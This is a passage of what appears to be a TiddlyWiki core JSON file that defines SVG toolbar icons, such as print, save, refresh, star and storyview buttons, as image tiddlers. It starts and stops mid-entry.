C40.4916889,53.3430132 40.5412962,53.8147625 40.5412962,54.2980982 C40.5412962,58.1157051 37.4465143,61.210487 33.6289073,61.210487 C32.0813547,61.210487 30.6525815,60.7019313 29.5005925,59.8428245 C29.4821342,59.8713744 29.4638143,59.9000221 29.4456339,59.9287667 C28.1850247,58.5900823 26.3963113,57.7542926 24.4123888,57.7542926 C20.5947819,57.7542926 17.5,60.8490745 17.5,64.6666814 C17.5,68.4842884 20.5947819,71.5790703 24.4123888,71.5790703 C26.134517,71.5790703 27.7095556,70.9493053 28.919769,69.9075109 L28.919769,69.9075109 C28.9273935,69.9229526 28.9350558,69.9383724 28.9427558,69.95377 C30.174602,68.8171928 31.8206715,68.1228758 33.6289073,68.1228758 C37.4465143,68.1228758 40.5412962,71.2176578 40.5412962,75.0352647 C40.5412962,75.5186004 40.4916889,75.9903496 40.3972881,76.4456988 Z M64,0 L118.5596,32 L118.5596,96 L64,128 L9.44039956,96 L9.44039956,32 L64,0 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/plugin-generic-theme": {
            "title": "$:/core/images/plugin-generic-theme",
            "tags": "$:/tags/Image",
            "text": "<svg width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M29.4078519,91.4716406 L51.4693474,69.4101451 L51.4646675,69.4054652 C50.5969502,68.5377479 50.5929779,67.1348725 51.4693474,66.2585029 C52.3396494,65.3882009 53.7499654,65.3874786 54.6163097,66.2538229 L64.0805963,75.7181095 C64.9483136,76.5858268 64.9522859,77.9887022 64.0759163,78.8650718 C63.2056143,79.7353737 61.7952984,79.736096 60.9289541,78.8697517 L60.9242741,78.8650718 L60.9242741,78.8650718 L38.8627786,100.926567 C36.2518727,103.537473 32.0187578,103.537473 29.4078519,100.926567 C26.796946,98.3156614 26.796946,94.0825465 29.4078519,91.4716406 Z M60.8017407,66.3810363 C58.3659178,63.6765806 56.3370667,61.2899536 54.9851735,59.5123615 C48.1295381,50.4979488 44.671561,55.2444054 40.7586738,59.5123614 C36.8457866,63.7803174 41.789473,67.2384487 38.0759896,70.2532832 C34.3625062,73.2681177 34.5917646,74.3131575 28.3243876,68.7977024 C22.0570105,63.2822473 21.6235306,61.7636888 24.5005999,58.6166112 C27.3776691,55.4695337 29.7823103,60.4247912 35.6595047,54.8320442 C41.5366991,49.2392972 36.5996215,44.2825646 36.5996215,44.2825646 C36.5996215,44.2825646 48.8365511,19.267683 65.1880231,21.1152173 C81.5394952,22.9627517 59.0022276,18.7228947 53.3962199,38.3410355 C50.9960082,46.7405407 53.8429162,44.7613399 58.3941742,48.3090467 C59.7875202,49.3951602 64.4244828,52.7100463 70.1884353,56.9943417 L90.8648751,36.3179019 L92.4795866,31.5515482 L100.319802,26.8629752 L103.471444,30.0146174 L98.782871,37.8548326 L94.0165173,39.4695441 L73.7934912,59.6925702 C86.4558549,69.2403631 102.104532,81.8392557 102.104532,86.4016913 C102.104533,93.6189834 99.0337832,97.9277545 92.5695848,95.5655717 C87.8765989,93.8506351 73.8015497,80.3744087 63.8173444,69.668717 L60.9242741,72.5617873 L57.7726319,69.4101451 L60.8017407,66.3810363 L60.8017407,66.3810363 Z M63.9533761,1.42108547e-13 L118.512977,32 L118.512977,96 L63.9533761,128 L9.39377563,96 L9.39377563,32 L63.9533761,1.42108547e-13 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/preview-closed": {
            "title": "$:/core/images/preview-closed",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-preview-closed tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M0.0881363238,64 C-0.210292223,65.8846266 0.249135869,67.8634737 1.4664206,69.4579969 C16.2465319,88.8184886 39.1692554,100.414336 64,100.414336 C88.8307446,100.414336 111.753468,88.8184886 126.533579,69.4579969 C127.750864,67.8634737 128.210292,65.8846266 127.911864,64 C110.582357,78.4158332 88.3036732,87.0858436 64,87.0858436 C39.6963268,87.0858436 17.4176431,78.4158332 0.0881363238,64 Z\"></path>\n        <rect x=\"62\" y=\"96\" width=\"4\" height=\"16\" rx=\"4\"></rect>\n        <rect transform=\"translate(80.000000, 101.000000) rotate(-5.000000) translate(-80.000000, -101.000000) \" x=\"78\" y=\"93\" width=\"4\" height=\"16\" rx=\"4\"></rect>\n        <rect transform=\"translate(48.000000, 101.000000) rotate(-355.000000) translate(-48.000000, -101.000000) \" x=\"46\" y=\"93\" width=\"4\" height=\"16\" rx=\"4\"></rect>\n        <rect transform=\"translate(32.000000, 96.000000) rotate(-350.000000) translate(-32.000000, -96.000000) \" x=\"30\" y=\"88\" width=\"4\" height=\"16\" rx=\"4\"></rect>\n        <rect transform=\"translate(96.000000, 96.000000) rotate(-10.000000) translate(-96.000000, -96.000000) \" x=\"94\" y=\"88\" width=\"4\" height=\"16\" rx=\"4\"></rect>\n        <rect transform=\"translate(112.000000, 88.000000) rotate(-20.000000) translate(-112.000000, -88.000000) \" x=\"110\" y=\"80\" width=\"4\" height=\"16\" rx=\"4\"></rect>\n        <rect transform=\"translate(16.000000, 88.000000) rotate(-340.000000) translate(-16.000000, -88.000000) \" x=\"14\" y=\"80\" width=\"4\" height=\"16\" rx=\"4\"></rect>\n    </g>\n</svg>"
        },
        "$:/core/images/preview-open": {
            "title": "$:/core/images/preview-open",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-preview-open tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M64.1099282,99.5876785 C39.2791836,99.5876785 16.3564602,87.9918313 1.57634884,68.6313396 C-0.378878622,66.070184 -0.378878622,62.5174945 1.57634884,59.9563389 C16.3564602,40.5958472 39.2791836,29 64.1099282,29 C88.9406729,29 111.863396,40.5958472 126.643508,59.9563389 C128.598735,62.5174945 128.598735,66.070184 126.643508,68.6313396 C111.863396,87.9918313 88.9406729,99.5876785 64.1099282,99.5876785 Z M110.213805,67.5808331 C111.654168,66.0569335 111.654168,63.9430665 110.213805,62.4191669 C99.3257042,50.8995835 82.4391647,44 64.1470385,44 C45.8549124,44 28.9683729,50.8995835 18.0802717,62.4191669 C16.6399094,63.9430665 16.6399094,66.0569335 18.0802717,67.5808331 C28.9683729,79.1004165 45.8549124,86 64.1470385,86 C82.4391647,86 99.3257042,79.1004165 110.213805,67.5808331 Z\"></path>\n        <path d=\"M63.5,88 C76.4786916,88 87,77.4786916 87,64.5 C87,51.5213084 76.4786916,41 63.5,41 C50.5213084,41 40,51.5213084 40,64.5 C40,77.4786916 50.5213084,88 63.5,88 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/print-button": {
            "title": "$:/core/images/print-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-print-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M112,71 L112,30.5 L111.96811,30.5 L111.96811,30.5 C111.932942,28.4998414 111.151676,26.510538 109.625176,24.9840387 L86.9982489,2.35711116 C85.3482153,0.707077645 83.1589869,-0.071534047 81,0.0201838424 L81,0 L23.9992458,0 C19.5808867,0 16,3.58213437 16,8.00092105 L16,71 L24,71 L24,8 L81,8 L81,22.4996539 C81,26.9216269 84.5818769,30.5 89.0003461,30.5 L104,30.5 L104,71 L112,71 Z\"></path>\n        <rect x=\"32\" y=\"36\" width=\"64\" height=\"8\" rx=\"4\"></rect>\n        <rect x=\"32\" y=\"52\" width=\"64\" height=\"8\" rx=\"4\"></rect>\n        <rect x=\"32\" y=\"20\" width=\"40\" height=\"8\" rx=\"4\"></rect>\n        <path d=\"M0,80.0054195 C0,71.1658704 7.15611005,64 16.0008841,64 L111.999116,64 C120.83616,64 128,71.1553215 128,80.0054195 L128,111.99458 C128,120.83413 120.84389,128 111.999116,128 L16.0008841,128 C7.16383982,128 0,120.844679 0,111.99458 L0,80.0054195 Z M104,96 C108.418278,96 112,92.418278 112,88 C112,83.581722 108.418278,80 104,80 C99.581722,80 96,83.581722 96,88 C96,92.418278 99.581722,96 104,96 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/quote": {
            "title": "$:/core/images/quote",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-quote tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M51.2188077,117.712501 L51.2188077,62.1993386 L27.4274524,62.1993386 C27.4274524,53.3075754 29.1096526,45.797753 32.4741035,39.669646 C35.8385544,33.541539 42.0867267,28.9154883 51.2188077,25.7913554 L51.2188077,2 C43.7689521,2.96127169 36.8599155,5.18417913 30.4914905,8.668789 C24.1230656,12.1533989 18.6559149,16.5391352 14.0898743,21.8261295 C9.52383382,27.1131238 5.97919764,33.2411389 3.45585945,40.2103586 C0.932521268,47.1795784 -0.208971741,54.6293222 0.0313461819,62.5598136 L0.0313461819,117.712501 L51.2188077,117.712501 Z M128,117.712501 L128,62.1993386 L104.208645,62.1993386 C104.208645,53.3075754 105.890845,45.797753 109.255296,39.669646 C112.619747,33.541539 118.867919,28.9154883 128,25.7913554 L128,2 C120.550144,2.96127169 113.641108,5.18417913 107.272683,8.668789 C100.904258,12.1533989 95.4371072,16.5391352 90.8710666,21.8261295 C86.3050261,27.1131238 82.7603899,33.2411389 80.2370517,40.2103586 C77.7137136,47.1795784 76.5722206,54.6293222 76.8125385,62.5598136 L76.8125385,117.712501 L128,117.712501 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/refresh-button": {
            "title": "$:/core/images/refresh-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-refresh-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M106.369002,39.4325143 C116.529932,60.3119371 112.939592,86.1974934 95.5979797,103.539105 C73.7286194,125.408466 38.2713806,125.408466 16.4020203,103.539105 C-5.46734008,81.6697449 -5.46734008,46.2125061 16.4020203,24.3431458 C19.5262146,21.2189514 24.5915344,21.2189514 27.7157288,24.3431458 C30.8399231,27.4673401 30.8399231,32.5326599 27.7157288,35.6568542 C12.0947571,51.2778259 12.0947571,76.6044251 27.7157288,92.2253967 C43.3367004,107.846368 68.6632996,107.846368 84.2842712,92.2253967 C97.71993,78.7897379 99.5995262,58.1740623 89.9230597,42.729491 L83.4844861,54.9932839 C81.4307001,58.9052072 76.5945372,60.4115251 72.682614,58.3577391 C68.7706907,56.3039532 67.2643728,51.4677903 69.3181587,47.555867 L84.4354914,18.7613158 C86.4966389,14.8353707 91.3577499,13.3347805 95.273202,15.415792 L124.145886,30.7612457 C128.047354,32.8348248 129.52915,37.6785572 127.455571,41.5800249 C125.381992,45.4814927 120.53826,46.9632892 116.636792,44.8897102 L106.369002,39.4325143 Z M98.1470904,27.0648707 C97.9798954,26.8741582 97.811187,26.6843098 97.6409651,26.4953413 L98.6018187,26.1987327 L98.1470904,27.0648707 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/right-arrow": {
            "title": "$:/core/images/right-arrow",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-right-arrow tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <path d=\"M80.3563798,109.353315 C78.9238993,110.786918 76.9450203,111.675144 74.7592239,111.675144 L-4.40893546,111.675144 C-8.77412698,111.675144 -12.3248558,108.130732 -12.3248558,103.758478 C-12.3248558,99.3951199 -8.78077754,95.8418109 -4.40893546,95.8418109 L66.8418109,95.8418109 L66.8418109,24.5910645 C66.8418109,20.225873 70.3862233,16.6751442 74.7584775,16.6751442 C79.1218352,16.6751442 82.6751442,20.2192225 82.6751442,24.5910645 L82.6751442,103.759224 C82.6751442,105.941695 81.7891419,107.920575 80.3566508,109.353886 Z\" transform=\"translate(35.175144, 64.175144) rotate(-45.000000) translate(-35.175144, -64.175144) \"></path>\n</svg>"
        },
        "$:/core/images/rotate-left": {
            "title": "$:/core/images/rotate-left",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-rotate-left tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><rect width=\"32\" height=\"80\" rx=\"8\"/><rect x=\"48\" y=\"96\" width=\"80\" height=\"32\" rx=\"8\"/><path d=\"M61.32 36.65c19.743 2.45 35.023 19.287 35.023 39.693a4 4 0 0 1-8 0c0-15.663-11.254-28.698-26.117-31.46l3.916 3.916a4 4 0 1 1-5.657 5.657L49.172 43.142a4 4 0 0 1 0-5.657l11.313-11.313a4 4 0 1 1 5.657 5.656l-4.821 4.822z\"/></g></svg>"
        },
        "$:/core/images/save-button": {
            "title": "$:/core/images/save-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-save-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M120.78304,34.329058 C125.424287,43.1924006 128.049406,53.2778608 128.049406,63.9764502 C128.049406,99.3226742 99.3956295,127.97645 64.0494055,127.97645 C28.7031816,127.97645 0.0494055385,99.3226742 0.0494055385,63.9764502 C0.0494055385,28.6302262 28.7031816,-0.0235498012 64.0494055,-0.0235498012 C82.8568763,-0.0235498012 99.769563,8.08898558 111.479045,21.0056358 L114.159581,18.3250998 C117.289194,15.1954866 122.356036,15.1939641 125.480231,18.3181584 C128.598068,21.4359957 128.601317,26.5107804 125.473289,29.6388083 L120.78304,34.329058 Z M108.72451,46.3875877 C110.870571,51.8341374 112.049406,57.767628 112.049406,63.9764502 C112.049406,90.4861182 90.5590735,111.97645 64.0494055,111.97645 C37.5397375,111.97645 16.0494055,90.4861182 16.0494055,63.9764502 C16.0494055,37.4667822 37.5397375,15.9764502 64.0494055,15.9764502 C78.438886,15.9764502 91.3495036,22.308215 100.147097,32.3375836 L58.9411255,73.5435552 L41.975581,56.5780107 C38.8486152,53.4510448 33.7746915,53.4551552 30.6568542,56.5729924 C27.5326599,59.6971868 27.5372202,64.7670668 30.6618725,67.8917192 L53.279253,90.5090997 C54.8435723,92.073419 56.8951519,92.8541315 58.9380216,92.8558261 C60.987971,92.8559239 63.0389578,92.0731398 64.6049211,90.5071765 L108.72451,46.3875877 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/size": {
            "title": "$:/core/images/size",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-size tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <path d=\"M92.3431458,26 L83.1715729,35.1715729 C81.6094757,36.73367 81.6094757,39.26633 83.1715729,40.8284271 C84.73367,42.3905243 87.26633,42.3905243 88.8284271,40.8284271 L104.828427,24.8284271 C106.390524,23.26633 106.390524,20.73367 104.828427,19.1715729 L88.8284271,3.17157288 C87.26633,1.60947571 84.73367,1.60947571 83.1715729,3.17157288 C81.6094757,4.73367004 81.6094757,7.26632996 83.1715729,8.82842712 L92.3431457,18 L22,18 C19.790861,18 18,19.790861 18,22 L18,92.3431458 L8.82842712,83.1715729 C7.26632996,81.6094757 4.73367004,81.6094757 3.17157288,83.1715729 C1.60947571,84.73367 1.60947571,87.26633 3.17157288,88.8284271 L19.1715729,104.828427 C20.73367,106.390524 23.26633,106.390524 24.8284271,104.828427 L40.8284271,88.8284271 C42.3905243,87.26633 42.3905243,84.73367 40.8284271,83.1715729 C39.26633,81.6094757 36.73367,81.6094757 35.1715729,83.1715729 L26,92.3431458 L26,22 L22,26 L92.3431458,26 L92.3431458,26 Z M112,52 L112,116 L116,112 L52,112 C49.790861,112 48,113.790861 48,116 C48,118.209139 49.790861,120 52,120 L116,120 C118.209139,120 120,118.209139 120,116 L120,52 C120,49.790861 118.209139,48 116,48 C113.790861,48 112,49.790861 112,52 L112,52 Z\"></path>\n</svg>"
        },
        "$:/core/images/spiral": {
            "title": "$:/core/images/spiral",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-spiral tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"nonzero\">\n        <path d=\"M64.534 68.348c3.39 0 6.097-2.62 6.476-5.968l-4.755-.538 4.75.583c.377-3.07-1.194-6.054-3.89-7.78-2.757-1.773-6.34-2.01-9.566-.7-3.46 1.403-6.14 4.392-7.35 8.148l-.01.026c-1.3 4.08-.72 8.64 1.58 12.52 2.5 4.2 6.77 7.2 11.76 8.27 5.37 1.15 11.11-.05 15.83-3.31 5.04-3.51 8.46-9.02 9.45-15.3 1.05-6.7-.72-13.63-4.92-19.19l.02.02c-4.42-5.93-11.2-9.82-18.78-10.78-7.96-1.01-16.13 1.31-22.59 6.43-6.81 5.39-11.18 13.41-12.11 22.26-.98 9.27 1.87 18.65 7.93 26.02 6.32 7.69 15.6 12.56 25.74 13.48 10.54.96 21.15-2.42 29.45-9.4l.01-.01c8.58-7.25 13.94-17.78 14.86-29.21.94-11.84-2.96-23.69-10.86-32.9-8.19-9.5-19.95-15.36-32.69-16.27-13.16-.94-26.24 3.49-36.34 12.34l.01-.01c-10.41 9.08-16.78 22.1-17.68 36.15-.93 14.44 4.03 28.77 13.79 39.78 10.03 11.32 24.28 18.2 39.6 19.09 15.73.92 31.31-4.56 43.24-15.234 12.23-10.954 19.61-26.44 20.5-43.074.14-2.64-1.89-4.89-4.52-5.03-2.64-.14-4.89 1.88-5.03 4.52-.75 14.1-7 27.2-17.33 36.45-10.03 8.98-23.11 13.58-36.3 12.81-12.79-.75-24.67-6.48-33-15.89-8.07-9.11-12.17-20.94-11.41-32.827.74-11.52 5.942-22.15 14.43-29.54l.01-.01c8.18-7.17 18.74-10.75 29.35-9.998 10.21.726 19.6 5.41 26.11 12.96 6.24 7.273 9.32 16.61 8.573 25.894-.718 8.9-4.88 17.064-11.504 22.66l.01-.007c-6.36 5.342-14.44 7.92-22.425 7.19-7.604-.68-14.52-4.314-19.21-10.027-4.44-5.4-6.517-12.23-5.806-18.94.67-6.3 3.76-11.977 8.54-15.766 4.46-3.54 10.05-5.128 15.44-4.44 5.03.63 9.46 3.18 12.32 7.01l.02.024c2.65 3.5 3.75 7.814 3.1 11.92-.59 3.71-2.58 6.925-5.45 8.924-2.56 1.767-5.61 2.403-8.38 1.81-2.42-.516-4.42-1.92-5.53-3.79-.93-1.56-1.15-3.3-.69-4.75l-4.56-1.446L59.325 65c.36-1.12 1.068-1.905 1.84-2.22.25-.103.48-.14.668-.13.06.006.11.015.14.025.01 0 .01 0-.01-.01-.02-.015-.054-.045-.094-.088-.06-.064-.12-.145-.17-.244-.15-.29-.23-.678-.18-1.11l-.005.04c.15-1.332 1.38-2.523 3.035-2.523-2.65 0-4.79 2.144-4.79 4.787s2.14 4.785 4.78 4.785z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/stamp": {
            "title": "$:/core/images/stamp",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-stamp tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M49.7334301,64 L16.0098166,64 C11.5838751,64 8,67.5829053 8,72.002643 L8,74.4986785 L8,97 L120,97 L120,74.4986785 L120,72.002643 C120,67.5737547 116.413883,64 111.990183,64 L78.2665699,64 C76.502049,60.7519149 75.5,57.0311962 75.5,53.0769231 C75.5,46.6017951 78.1869052,40.7529228 82.5087769,36.5800577 C85.3313113,32.7688808 87,28.0549983 87,22.952183 C87,10.2760423 76.7025492,0 64,0 C51.2974508,0 41,10.2760423 41,22.952183 C41,28.0549983 42.6686887,32.7688808 45.4912231,36.5800577 C49.8130948,40.7529228 52.5,46.6017951 52.5,53.0769231 C52.5,57.0311962 51.497951,60.7519149 49.7334301,64 Z M8,104 L120,104 L120,112 L8,112 L8,104 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/star-filled": {
            "title": "$:/core/images/star-filled",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-star-filled tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"nonzero\">\n        <path d=\"M61.8361286,96.8228569 L99.1627704,124.110219 C101.883827,126.099427 105.541968,123.420868 104.505636,120.198072 L90.2895569,75.9887263 L89.0292911,79.8977279 L126.314504,52.5528988 C129.032541,50.5595011 127.635256,46.2255025 124.273711,46.2229134 L78.1610486,46.1873965 L81.4604673,48.6032923 L67.1773543,4.41589688 C66.1361365,1.19470104 61.6144265,1.19470104 60.5732087,4.41589688 L46.2900957,48.6032923 L49.5895144,46.1873965 L3.47685231,46.2229134 C0.115307373,46.2255025 -1.28197785,50.5595011 1.43605908,52.5528988 L38.7212719,79.8977279 L37.4610061,75.9887263 L23.2449266,120.198072 C22.2085954,123.420868 25.8667356,126.099427 28.5877926,124.110219 L65.9144344,96.8228569 L61.8361286,96.8228569 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/storyview-classic": {
            "title": "$:/core/images/storyview-classic",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-storyview-classic tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M8.00697327,0 C3.58484404,0 0,3.59075293 0,8.00697327 L0,119.993027 C0,124.415156 3.59075293,128 8.00697327,128 L119.993027,128 C124.415156,128 128,124.409247 128,119.993027 L128,8.00697327 C128,3.58484404 124.409247,0 119.993027,0 L8.00697327,0 L8.00697327,0 Z M23.9992458,16 C19.5813843,16 16,19.5776607 16,23.9924054 L16,40.0075946 C16,44.4216782 19.5881049,48 23.9992458,48 L104.000754,48 C108.418616,48 112,44.4223393 112,40.0075946 L112,23.9924054 C112,19.5783218 108.411895,16 104.000754,16 L23.9992458,16 L23.9992458,16 Z M23.9992458,64 C19.5813843,64 16,67.5907123 16,72 C16,76.418278 19.5881049,80 23.9992458,80 L104.000754,80 C108.418616,80 112,76.4092877 112,72 C112,67.581722 108.411895,64 104.000754,64 L23.9992458,64 L23.9992458,64 Z M23.9992458,96 C19.5813843,96 16,99.5907123 16,104 C16,108.418278 19.5881049,112 23.9992458,112 L104.000754,112 C108.418616,112 112,108.409288 112,104 C112,99.581722 108.411895,96 104.000754,96 L23.9992458,96 L23.9992458,96 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/storyview-pop": {
            "title": "$:/core/images/storyview-pop",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-storyview-pop tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M8.00697327,0 C3.58484404,0 0,3.59075293 0,8.00697327 L0,119.993027 C0,124.415156 3.59075293,128 8.00697327,128 L119.993027,128 C124.415156,128 128,124.409247 128,119.993027 L128,8.00697327 C128,3.58484404 124.409247,0 119.993027,0 L8.00697327,0 L8.00697327,0 Z M23.9992458,16 C19.5813843,16 16,19.5776607 16,23.9924054 L16,40.0075946 C16,44.4216782 19.5881049,48 23.9992458,48 L104.000754,48 C108.418616,48 112,44.4223393 112,40.0075946 L112,23.9924054 C112,19.5783218 108.411895,16 104.000754,16 L23.9992458,16 L23.9992458,16 Z M16.0098166,56 C11.586117,56 8,59.5776607 8,63.9924054 L8,80.0075946 C8,84.4216782 11.5838751,88 16.0098166,88 L111.990183,88 C116.413883,88 120,84.4223393 120,80.0075946 L120,63.9924054 C120,59.5783218 116.416125,56 111.990183,56 L16.0098166,56 L16.0098166,56 Z M23.9992458,96 C19.5813843,96 16,99.5907123 16,104 C16,108.418278 19.5881049,112 23.9992458,112 L104.000754,112 C108.418616,112 112,108.409288 112,104 C112,99.581722 108.411895,96 104.000754,96 L23.9992458,96 L23.9992458,96 Z M23.9992458,64 C19.5813843,64 16,67.5907123 16,72 C16,76.418278 19.5881049,80 23.9992458,80 L104.000754,80 C108.418616,80 112,76.4092877 112,72 C112,67.581722 108.411895,64 104.000754,64 L23.9992458,64 L23.9992458,64 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/storyview-zoomin": {
            "title": "$:/core/images/storyview-zoomin",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-storyview-zoomin tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M8.00697327,0 C3.58484404,0 0,3.59075293 0,8.00697327 L0,119.993027 C0,124.415156 3.59075293,128 8.00697327,128 L119.993027,128 C124.415156,128 128,124.409247 128,119.993027 L128,8.00697327 C128,3.58484404 124.409247,0 119.993027,0 L8.00697327,0 L8.00697327,0 Z M23.9992458,16 C19.5813843,16 16,19.578055 16,24.0085154 L16,71.9914846 C16,76.4144655 19.5881049,80 23.9992458,80 L104.000754,80 C108.418616,80 112,76.421945 112,71.9914846 L112,24.0085154 C112,19.5855345 108.411895,16 104.000754,16 L23.9992458,16 L23.9992458,16 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/strikethrough": {
            "title": "$:/core/images/strikethrough",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-strikethrough tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M92.793842,38.7255689 L108.215529,38.7255689 C107.987058,31.985687 106.70193,26.1883331 104.360107,21.3333333 C102.018284,16.4783336 98.8197436,12.4516001 94.7643909,9.25301205 C90.7090382,6.05442399 85.9969032,3.71263572 80.6278447,2.22757697 C75.2587862,0.742518233 69.4328739,0 63.1499331,0 C57.552404,0 52.0977508,0.713959839 46.7858099,2.14190094 C41.473869,3.56984203 36.7331757,5.74027995 32.5635877,8.65327979 C28.3939997,11.5662796 25.0526676,15.2788708 22.5394913,19.7911647 C20.026315,24.3034585 18.7697456,29.6438781 18.7697456,35.8125837 C18.7697456,41.4101128 19.883523,46.0651309 22.1111111,49.7777778 C24.3386992,53.4904246 27.3087722,56.5176144 31.021419,58.8594378 C34.7340659,61.2012612 38.9321497,63.0861151 43.6157965,64.5140562 C48.2994433,65.9419973 53.068695,67.1985666 57.9236948,68.2838019 C62.7786945,69.3690371 67.5479462,70.4256977 72.231593,71.4538153 C76.9152398,72.4819329 81.1133237,73.8241773 84.8259705,75.480589 C88.5386174,77.1370007 91.5086903,79.2788802 93.7362784,81.9062918 C95.9638666,84.5337035 97.0776439,87.9607107 97.0776439,92.1874163 C97.0776439,96.6425926 96.1637753,100.298067 94.3360107,103.153949 C92.5082461,106.009831 90.109341,108.265944 87.1392236,109.922356 C84.1691061,111.578768 80.827774,112.749662 77.1151272,113.435074 C73.4024803,114.120485 69.7184476,114.463186 66.0629183,114.463186 C61.4935068,114.463186 57.0383974,113.892018 52.6974565,112.749665 C48.3565156,111.607312 44.5582492,109.836692 41.3025435,107.437751 C38.0468378,105.03881 35.4194656,101.983062 33.4203481,98.270415 C31.4212305,94.5577681 30.4216867,90.1312171 30.4216867,84.9906292 L15,84.9906292 C15,92.4159229 16.3422445,98.8415614 19.0267738,104.267738 C21.711303,109.693914 25.3667774,114.149023 29.9933066,117.633199 C34.6198357,121.117376 39.9888137,123.71619 46.1004016,125.429719 C52.2119895,127.143248 58.6947448,128 65.5488621,128 C71.1463912,128 76.7723948,127.343157 82.4270415,126.029451 C88.0816882,124.715745 93.1936407,122.602424 97.7630522,119.689424 C102.332464,116.776425 106.073613,113.006717 108.986613,108.380187 C111.899613,103.753658 113.356091,98.1847715 113.356091,91.6733601 C113.356091,85.6188899 112.242314,80.5926126 110.014726,76.5943775 C107.787137,72.5961424 104.817065,69.2833688 101.104418,66.6559572 C97.3917708,64.0285455 93.193687,61.9437828 88.5100402,60.4016064 C83.8263934,58.85943 79.0571416,57.5171855 74.2021419,56.3748327 C69.3471422,55.2324798 64.5778904,54.1758192 59.8942436,53.2048193 C55.2105968,52.2338193 51.012513,51.0058084 47.2998661,49.5207497 C43.5872193,48.0356909 40.6171463,46.1222786 38.3895582,43.7804552 C36.1619701,41.4386318 35.0481928,38.3828836 35.0481928,34.6131191 C35.0481928,30.6148841 35.8192694,27.273552 37.3614458,24.5890228 C38.9036222,21.9044935 40.9598265,19.762614 43.5301205,18.1633199 C46.1004145,16.5640259 49.041929,15.4216902 52.3547523,14.7362784 C55.6675757,14.0508667 59.0374661,13.708166 62.4645248,13.708166 C70.9179361,13.708166 77.8576257,15.6786952 83.2838019,19.6198126 C88.709978,23.56093 91.8799597,29.9294518 92.793842,38.7255689 L92.793842,38.7255689 Z\"></path>\n        <rect x=\"5\" y=\"54\" width=\"118\" height=\"16\"></rect>\n    </g>\n</svg>"
        },
        "$:/core/images/subscript": {
            "title": "$:/core/images/subscript",
            "tags": "$:/tags/Image",
